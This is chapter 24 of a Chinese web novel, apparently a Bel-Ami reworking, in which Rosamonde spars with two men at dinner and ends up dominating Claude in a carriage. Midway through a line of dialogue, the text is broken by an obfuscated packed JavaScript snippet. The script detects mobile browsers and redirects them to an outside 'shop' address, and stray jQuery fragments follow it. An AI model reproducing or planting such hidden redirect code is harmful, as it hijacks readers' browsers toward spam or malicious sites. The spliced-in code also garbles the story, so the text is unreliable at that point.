24.第二十四章。
作品:《(漂亮朋友)杜洛瓦小姐上位记》 “您没给她租房?”克劳德先生盯着拉瓦洛先生的手。深情表白时,拉瓦洛先生盖住罗莎蒙德的手,罗莎蒙德反手一打,拉瓦洛先生摊开手掌,乖乖托着罗莎蒙德的手。
“说出去也不怕笑话。”克劳德先生的心里话被舌头削出尖锐的刺。
拉瓦洛先生一秒换脸,沉重的目光打向不甘示弱的克劳德先生。
“你也太单纯,太要强了。”热血上头的克劳德先生又对罗莎蒙德道,“跟奥斯曼公馆的女人混了那么久,这点事都要我来提醒。”
“那可真是谢谢你了。”罗莎蒙德冷冷道,“赶明儿我去游艺剧院报道,不枉你热心提醒。”
拉瓦洛先生漏了声笑:“除非换掉不讨喜的嘴。”他看克劳德先生和看莽撞的少年一般无二,“不然我没法让你跑新闻啊!”
“我懒得吸巴黎的废气。”
“所以你的文章不如马蒂莱诺有灵气。”拉瓦洛先生轻易拉紧克劳德先生的筋,“再这么固步自封下去,马蒂莱诺比你更有可能当政治栏主编。”
“太好了。让政治栏成福雷斯蒂埃的一言堂吧!”
“先生们!”罗莎蒙德忍无可忍道,“我是来吃饭的,不是来听你们争吵。”她瞪停了两只斗牛,把话题拉到自己身上,“我明天还去韦尔纳伊路给洛丽娜上课吗?”
“当然。”
“贵夫人不会突然到访?我可不想在洛丽娜前与她吵架。”
“她不会来。”克劳德先生烦躁地摸向口袋,没一会又伸出了手,“除非我死,否则她不会上门。”
罗莎蒙德放下了心,饥饿感汹涌而来。
“我家的客房还挺多的,你可以当住家老师。”克劳德先生说完就被拉瓦洛先生否定了,“这对她的名声不好。”
“她都跟你厮混了,还会在意名声不好。”
“您何必与这人讨论他没有的东西?”罗莎蒙德想缝住克劳德先生的嘴。
克劳德先生怒极反笑:“你们有那种东西吗?”他逼问罗莎蒙德,“我没有的话,你干嘛拿我没有的东西威胁我?”
罗莎蒙德眼角抽搐,右手发痒。
侍从端着羊肉进来,肉香令馋虫叫得更厉害。罗莎蒙德问拉瓦洛先生,“来点?您坐下后没怎么吃。”
克劳德先生被二者孤立,用脚去夹罗莎蒙德的脚。
罗莎蒙德动弹不得,左手溜下餐桌,往克劳德先生的大腿上狠狠一掐。
克劳德先生吃痛地松开了脚,被罗莎蒙德狠狠踩住。
她这样的工薪女性不会穿很高的跟。
克劳德先生为此庆幸,嘴唇的血色却难脱侥幸,绝望退去。
“您不尝尝?”罗莎蒙德微笑问他,脚下用力。
“当然。”克劳德先生竭力装得风轻云淡。
“你怎么汗涔涔的?”拉瓦洛先生的好奇带来偷|情般的刺激感。
疼痛放大了这种刺激,克劳德先生竭力不当场呻吟。“窗户开得太大了。”他灌了口酒,用餐巾擦了下汗。
罗莎蒙德收回了手,收脚前轻踢他的小腿肚。
这一踢让克劳德先生想起老师的教鞭。和所有贵族子弟般,他也上私立学校,全男性的那种,洗衣工都是老大爹。唯一同女性接触的课程只有交际舞课。
瘦高的教师挥舞校长的同款教鞭。她不漂亮了,但疼痛与权力刺激了情|欲。男孩们缴械投降。
“我梦遗了。”上完课的第二天,克劳德先生的室友得意洋洋道。
“这有什么好分享的。”克劳德先生满脸嫌恶,物理上的远离室友。
“你没感觉?”
“没有。”克劳德先生庆幸他有自知之明地垫了毛巾,让室友背了两人的锅。
罗莎蒙德没带教鞭。只要她想,一举一动都像鞭子,抽得他浑身发抖。
“您不尝尝?”罗莎蒙德又问了句,往他盘里丢了块肉。
“我今晚就不过去了。”分别时,罗莎蒙德吻了下拉瓦洛先生的脸,“明天还要给洛丽娜上课。”她喝的醉醺醺的,舌头大了,“我一看到你家的管家就怕得不行,他和马雷尔夫人一定有共同语言。”说完还问拉瓦洛先生,“他对夏洛特也横挑鼻子竖挑眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168475|193603||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?不会吧!你可是夏洛特的教父。”
“我送她。”克劳德先生主动去扶罗莎蒙德,刚好接住寻找支撑的手。“您明天有重要会议,今晚又喝了酒,早点睡。”
“你也会关心人了。”拉瓦洛先生立刻醒了,“我送她。”拉人时绊了一脚。
车夫眼疾手快地扶住了他。
“您喝多了。”克劳德先生给车夫两枚银币,“路上小心。”
“我坐马雷尔先生(克劳德)的车。”罗莎蒙德安慰遗憾的拉瓦洛先生。说是安慰,实际是不满,“你都喝的站不稳了。我再耽误你,让你迟了明天的会以,瓦|尔|特……”她轻拍脑门,“我都喝成什么样了。是你的管家会上门找我。”她握住拉瓦洛先生的手,问他,“我是不想在开心的时候遇见扫兴的人。克劳德先生嘴巴太坏,心眼却一点儿不坏。”
“是我没替你着想。”拉瓦洛先生妥协了,替罗莎蒙德和克劳德先生付了车钱,“送这位女士回圣-日内维新街的伏盖公寓,然后送这位先生回韦尔纳伊路。”他给车夫双倍小费,“别记岔了。”
“明白。”车夫向拉瓦洛先生脱帽致意。
“礼拜日见。”上车的罗莎蒙德探头提醒,拉瓦洛先生挥了挥手,身影越来越小。
“你这么快就爱上他?把他哄得百依百顺。”
“这话不前后矛盾吗?”罗莎蒙德哪还有一丝醉意,清明得可怕。“回暖了。”她撩起裙摆,让小腿透了透气,“难怪你在席间流汗。”
克劳德先生的眼睛盯着罗莎蒙德的小腿。
裙摆落下的声音不响,太突然了,教鞭似地抽醒恍惚的克劳德先生。
“告诉我。”罗莎蒙德压低声音,“你席间是热得流汗,还是为自己的行为羞愤欲死?”
克劳德先生没有回答。过了会儿,他扒开车窗,大口大口地吸入冷气。
回头时,罗莎蒙德歪着头,笑嘻嘻地像在逗弄宫廷小丑。
“跪下。”
这次没有刀子和鞭。
克劳德先生顺从地跪下,让罗莎蒙德把脚翘在他的背上。

